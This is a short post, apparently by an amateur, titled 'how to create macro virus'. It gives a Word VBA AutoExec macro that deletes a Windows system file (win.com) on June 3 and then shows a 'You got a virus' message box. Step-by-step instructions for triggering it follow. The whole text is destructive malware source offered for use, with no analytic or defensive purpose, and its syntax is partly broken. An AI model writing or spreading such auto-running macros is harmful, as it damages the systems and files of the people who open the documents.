how to create macro virus

code: Sub AutoExec() If Month(Date) = 6 And Day(Date) = 3 Then Kill "C:\windows\system32\win.com" e = MsgBox("You got a virus", vbCritical, info, lol, com) End If End Sub _________________________________ virus name:delete windows playload date: june 3 how to run 1.set date to june 3 2.open word or virus file 3.code will run automaticly and show the massage box:you got a virus If code not run it not will not show this massage box virus created by thekassistant